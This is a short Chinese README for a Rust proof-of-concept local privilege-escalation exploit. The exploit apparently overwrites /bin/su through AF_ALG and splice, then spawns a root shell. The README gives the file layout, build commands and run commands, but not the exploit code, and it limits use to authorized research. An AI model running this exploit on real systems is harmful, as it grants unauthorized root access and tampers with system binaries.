src/
├── main.rs # 漏洞利用:AF_ALG + splice 覆盖 /bin/su
└── bin/
└── payload.rs # 载荷
自包含的 no_std 二进制文件,零运行时依赖:
poc-rs:4.1 KB(载荷通过 include_bytes! 嵌入)payload:1.7 KB需要 Rust 1.85+:
cargo build --release --bin payload
cargo build --release
./target/x86_64-unknown-none/release/poc-rs
./target/aarch64-unknown-none/release/poc-rs
成功执行后,运行被覆盖的 /bin/su,
它会生成一个 root shell 并执行 id。
[!CAUTION] 仅限授权的安全研究和测试使用。